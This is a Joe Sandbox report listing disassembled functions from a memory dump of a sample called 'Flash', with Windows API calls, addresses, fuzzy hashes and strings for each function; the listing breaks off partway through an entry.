Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: ffd719484234acb826e73779f6e1db68ab117ec7bb5c007327b2a293b920f4b5
Instruction ID: 0af6357ede6e7b1741178b8294208bc9a766042ff31c3f5f8df338ddfeae0b3f
Opcode Fuzzy Hash: ffd719484234acb826e73779f6e1db68ab117ec7bb5c007327b2a293b920f4b5
Instruction Fuzzy Hash: 86C12075208305AFC700DF68C884A6BB7E9BFC9708F00491DF98A9B251DB71ED46CB92

Function 00A319CD Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00A319EF
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00A30A67,?,00000001), ref: 00A31A03
GetWindowThreadProcessId.USER32(00000000), ref: 00A31A0A
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00A30A67,?,00000001), ref: 00A31A19
GetWindowThreadProcessId.USER32(?,00000000), ref: 00A31A2B
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00A30A67,?,00000001), ref: 00A31A44
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00A30A67,?,00000001), ref: 00A31A56
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00A30A67,?,00000001), ref: 00A31A9B
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00A30A67,?,00000001), ref: 00A31AB0
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00A30A67,?,00000001), ref: 00A31ABB

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: a2299189be508bafc0b0e1c24a0700c0b921b7f685a8d14390b2b4037160498d
Instruction ID: fb7a36a0cbd2a6c0a061be5b89d308a48933cac773e3ecab43c60f4eac59cf1c
Opcode Fuzzy Hash: a2299189be508bafc0b0e1c24a0700c0b921b7f685a8d14390b2b4037160498d
Instruction Fuzzy Hash: 0731A275A12204BFDB10DF94DC84F7A77BAEB55356F508116F900D6190DBF89D818B60

Function 00A0C0E3 Relevance: 15.1, APIs: 10, Instructions: 59windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 009D260D
SetTextColor.GDI32(?,000000FF), ref: 009D2617
SetBkMode.GDI32(?,00000001), ref: 009D262C
GetStockObject.GDI32(00000005), ref: 009D2634
GetClientRect.USER32(?), ref: 00A0C0FC
SendMessageW.USER32(?,00001328,00000000,?), ref: 00A0C113
GetWindowDC.USER32(?), ref: 00A0C11F
GetPixel.GDI32(00000000,?,?), ref: 00A0C12E
ReleaseDC.USER32(?,00000000), ref: 00A0C140
GetSysColor.USER32(00000005), ref: 00A0C15E

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Color$ClientMessageModeObjectPixelRectReleaseSendStockTextWindow
String ID:
API String ID: 3430376129-0
Opcode ID: feef26eebc8938b48d229fc84073534b52b6115ac5c9d1881ef92fcf9791e4aa
Instruction ID: b76c4b7824288624de3cae6dbb436da53c54141f218a8cd93396079b42cc3b5a
Opcode Fuzzy Hash: feef26eebc8938b48d229fc84073534b52b6115ac5c9d1881ef92fcf9791e4aa
Instruction Fuzzy Hash: 06114F31540205BFDB619FA4EC08FEA7B75EB19331F104266FA66951E1CBB10992EF11

Function 009DAD98 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 009DADE1
OleUninitialize.OLE32(?,00000000), ref: 009DAE80
UnregisterHotKey.USER32(?), ref: 009DAFD7
DestroyWindow.USER32(?), ref: 00A12F64
FreeLibrary.KERNEL32(?), ref: 00A12FC9
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00A12FF6

Strings

close all, xrefs: 009DADDC

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 8fd42f422044263b5222aaf09de7a676154be5c3fab106173c72ce413b44a6d3
Instruction ID: 7d675114f1e9ed68e3bb87036df613b8a2813c8f45c3a0de31f4b9c43731cc4d
Opcode Fuzzy Hash: 8fd42f422044263b5222aaf09de7a676154be5c3fab106173c72ce413b44a6d3
Instruction Fuzzy Hash: 1CA17E717412128FCB29EF55C595F69F3A4BF44700F1086ADE50AAB262CB30ED62CF91

Function 00A2AD69 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,00A2B13A), ref: 00A2B078

Strings

CLASS, xrefs: 00A2ADF7
REGEXPCLASS, xrefs: 00A2AE3D
INSTANCE, xrefs: 00A2AF86
NAME, xrefs: 00A2AEAA
CLASSNN, xrefs: 00A2AE1A
TEXT, xrefs: 00A2AFAF

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: f304b741d982e1014557bec0c47739f889971d44e946468b0e78c0f61afbac01
Instruction ID: e4058b0ba89135ad89db417f2a615f5739da051d73ce7eb40dc0584aaa0cc333
Opcode Fuzzy Hash: f304b741d982e1014557bec0c47739f889971d44e946468b0e78c0f61afbac01
Instruction Fuzzy Hash: 30911A70500225EBDB18EF68D481BEEFB75BF54300F108139E95AA3192DF346D99CBA1

Function 009D31F6 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 009D327E

Part of subcall function 009D218F: GetClientRect.USER32(?,?), ref: 009D21B8
Part of subcall function 009D218F: GetWindowRect.USER32(?,?), ref: 009D21F9
Part of subcall function 009D218F: ScreenToClient.USER32(?,?), ref: 009D2221

GetDC.USER32 ref: 00A0D073
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00A0D086
SelectObject.GDI32(00000000,00000000), ref: 00A0D094
SelectObject.GDI32(00000000,00000000), ref: 00A0D0A9
ReleaseDC.USER32(?,00000000), ref: 00A0D0B1
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00A0D13C

Strings

U, xrefs: 00A0D011

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 73cc5c7159ca565b60d2809f3ed2331f9a388a19f8ed54d0d7be054d9ebd2ed0
Instruction ID: a43f48860b1c17b497151c99b8593f3c2cdb9fff864bd57306a82ffcb4d8a7e6
Opcode Fuzzy Hash: 73cc5c7159ca565b60d2809f3ed2331f9a388a19f8ed54d0d7be054d9ebd2ed0
Instruction Fuzzy Hash: 28711531904209DFCF21CFA4D880AAA7BB5FF49321F14826AFD565A2A5C7318992DF61

Function 00A5C634 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009D29E2: GetWindowLongW.USER32(?,000000EB), ref: 009D29F3

Part of subcall function 009D2714: GetCursorPos.USER32(?), ref: 009D2727
Part of subcall function 009D2714: ScreenToClient.USER32(00A977B0,?), ref: 009D2744
Part of subcall function 009D2714: GetAsyncKeyState.USER32(00000001), ref: 009D2769
Part of subcall function 009D2714: GetAsyncKeyState.USER32(00000002), ref: 009D2777

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?), ref: 00A5C69C
ImageList_EndDrag.COMCTL32 ref: 00A5C6A2
ReleaseCapture.USER32 ref: 00A5C6A8
SetWindowTextW.USER32(?,00000000), ref: 00A5C752
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00A5C765
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?), ref: 00A5C847

Strings

@GUI_DRAGFILE, xrefs: 00A5C7DC
@GUI_DROPID, xrefs: 00A5C799

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: 862141114a4b9157b2c5edd5187b24541841ad850c86bc2831e626022037740b
Instruction ID: 8055edc004c5f11516acde5f36e6d1a7e3baef76b8b93e4499c18a1f70377d67
Opcode Fuzzy Hash: 862141114a4b9157b2c5edd5187b24541841ad850c86bc2831e626022037740b
Instruction Fuzzy Hash: 66518D70618304AFDB00EF54CC55F6E77E5FB88311F10891AF995872E2DB70A989CB62

Function 00A420E1 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00A4211C
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00A42148
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 00A4218A
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00A4219F
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00A421AC
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00A421DC
InternetCloseHandle.WININET(00000000), ref: 00A42223

Part of subcall function 00A42B4F: GetLastError.KERNEL32(?,?,00A41EE3,00000000,00000000,00000001), ref: 00A42B64
Part of subcall function 00A42B4F: SetEvent.KERNEL32(?,?,00A41EE3,00000000,00000000,00000001), ref: 00A42B79

Strings

, xrefs: 00A421CD

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
String ID:
API String ID: 2603140658-3916222277
Opcode ID: 465be1c53d5ec22129d72fea1df982a5e0fee20668624cf37af6a42c2c5c49ad
Instruction ID: b459702a3c52e094bd5a6299cd566f25460fcc183de93597cd5fccd54c9bce80
Opcode Fuzzy Hash: 465be1c53d5ec22129d72fea1df982a5e0fee20668624cf37af6a42c2c5c49ad
Instruction Fuzzy Hash: D6418EB5501608BFEB129F60CC89FFB7BACFF88350F404116FA059A141D7B0AE458BA0

Function 00A49330 Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,00A60980), ref: 00A49412
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,00A60980), ref: 00A49446
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00A495C0
SysFreeString.OLEAUT32(?), ref: 00A495EA

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: 775af6b4c0d5183d476aa4b088d572ddbb68d563bc580ece5af72208afec394b
Instruction ID: 35980e781c765feddc8e14c0700220c82d44fd074fb88e052238d737fd70af07
Opcode Fuzzy Hash: 775af6b4c0d5183d476aa4b088d572ddbb68d563bc580ece5af72208afec394b
Instruction Fuzzy Hash: 46F12975A00219EFCB14DF94C884EAFB7B9FF85315F108498F506AB261CB71AE56CB90

Function 00A3527C Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A34BC3: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00A33B8A,?), ref: 00A34BE0

Part of subcall function 00A34BC3: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00A33B8A,?), ref: 00A34BF9

Part of subcall function 00A34FEC: GetFileAttributesW.KERNEL32(?,00A33BFE), ref: 00A34FED

lstrcmpiW.KERNEL32(?,?), ref: 00A352FB
_wcscmp.LIBCMT ref: 00A35315
MoveFileW.KERNEL32(?,?), ref: 00A35330

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: 75d1c46f489ee966919f011bb944b9859add9d151488a9096a9334115b8c21b9
Instruction ID: c32400af64671ccab56a110814ebb51ed6555fd36123dc236c559a66d37b9f47
Opcode Fuzzy Hash: 75d1c46f489ee966919f011bb944b9859add9d151488a9096a9334115b8c21b9
Instruction Fuzzy Hash: 875186B24087859BC724DBA4D881EDFB3EC9F84300F50492EF685C3152EF74A6888756

Function 00A58C6A Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00A58D24

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 22e6df36e029fe19bfbc9b33c4b08ea5ed7d2ec687cfa7c5d846dc14de00aa0d
Instruction ID: 6875a86cbbd2223fcdeca14ebee035364c74eb2d9d3d95fa2397d6395672758e
Opcode Fuzzy Hash: 22e6df36e029fe19bfbc9b33c4b08ea5ed7d2ec687cfa7c5d846dc14de00aa0d
Instruction Fuzzy Hash: A051A330640204BFEF609B68CC85B5D7BB5BB15352F244512FD15F61E1CFB9E998CA60

Function 009D2F42 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 00A0C638
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00A0C65A
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00A0C672
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 00A0C690
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00A0C6B1
DestroyIcon.USER32(00000000), ref: 00A0C6C0
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00A0C6DD
DestroyIcon.USER32(?), ref: 00A0C6EC

Part of subcall function 00A5AAD4: DeleteObject.GDI32(00000000), ref: 00A5AB0D

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: 40834d2c940131fc34c6b511a02c7849a5c2b4517f40e23ba9818062a2c00131
Instruction ID: ca427330d629256f561d346416d3cc8303d9be734dd3c1b1596c70f0395cbb80
Opcode Fuzzy Hash: 40834d2c940131fc34c6b511a02c7849a5c2b4517f40e23ba9818062a2c00131
Instruction Fuzzy Hash: 70518F70640209AFDB20DF68DC85FAA77B5EB54720F108A19F942D72D0DBB1ED91DB60

Function 00A2A226 Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A2B52D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00A2B54D
Part of subcall function 00A2B52D: GetCurrentThreadId.KERNEL32 ref: 00A2B554
Part of subcall function 00A2B52D: AttachThreadInput.USER32(00000000,?,00A2A23B,?,00000001), ref: 00A2B55B

MapVirtualKeyW.USER32(00000025,00000000), ref: 00A2A246
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00A2A263
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 00A2A266
MapVirtualKeyW.USER32(00000025,00000000), ref: 00A2A26F
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00A2A28D
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00A2A290
MapVirtualKeyW.USER32(00000025,00000000), ref: 00A2A299
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00A2A2B0
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00A2A2B3

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 8d45e6854d5248fc559b6ae2bc833782514f59abef037f7adf2d5ef66f594ce4
Instruction ID: 89679aab35f80676b736109ce2c5f632eaafc5e4ed67c9fa03090bccd6bb2272
Opcode Fuzzy Hash: 8d45e6854d5248fc559b6ae2bc833782514f59abef037f7adf2d5ef66f594ce4
Instruction Fuzzy Hash: B911CEB1950218BFF610ABA4DC8AF6B3F2DEB4C750F100429F2406B0A0CAF25C919AB0

Function 00A294D9 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,00A2915A,00000B00,?,?), ref: 00A294E2
HeapAlloc.KERNEL32(00000000,?,00A2915A,00000B00,?,?), ref: 00A294E9
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00A2915A,00000B00,?,?), ref: 00A294FE
GetCurrentProcess.KERNEL32(?,00000000,?,00A2915A,00000B00,?,?), ref: 00A29506
DuplicateHandle.KERNEL32(00000000,?,00A2915A,00000B00,?,?), ref: 00A29509
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00A2915A,00000B00,?,?), ref: 00A29519
GetCurrentProcess.KERNEL32(00A2915A,00000000,?,00A2915A,00000B00,?,?), ref: 00A29521
DuplicateHandle.KERNEL32(00000000,?,00A2915A,00000B00,?,?), ref: 00A29524
CreateThread.KERNEL32(00000000,00000000,00A2954A,00000000,00000000,00000000), ref: 00A2953E

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 39d8b75d60f91c335993f1cb05fba8c98db9d0ded0df46b22ab5c19fc28de737
Instruction ID: 273956dd1ff3ee6cfed88470a93c43e2df291499a157f7b1b3752983e5138b40
Opcode Fuzzy Hash: 39d8b75d60f91c335993f1cb05fba8c98db9d0ded0df46b22ab5c19fc28de737
Instruction Fuzzy Hash: 2B01BBB5240304BFE711EFA5DC4DF6B7BACEB89711F004511FA05DB1A1CAB19845CB20

Function 00A4A20D Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 00A4A28E, 00A4A5B2
Not an Object type, xrefs: 00A4A265

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: c179c28887ff70322b1de9ae9a1ad63cc566d4ba3753db147bb1cc89d7cd19a2
Instruction ID: 2e88f03b28a6a5e31ce1fa1a0bff7355b012fc19419337b7da65be8fa304f153
Opcode Fuzzy Hash: c179c28887ff70322b1de9ae9a1ad63cc566d4ba3753db147bb1cc89d7cd19a2
Instruction Fuzzy Hash: 88C1B379A4021A9FDF10DF98C984AAEB7B5FF98350F148429E905AB280E770ED45CB51

Function 00A497FD Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A49851
VariantInit.OLEAUT32(?), ref: 00A49922
VariantInit.OLEAUT32(?), ref: 00A49A23
VariantClear.OLEAUT32(?), ref: 00A49A2D
VariantClear.OLEAUT32(?), ref: 00A49A8A

Strings

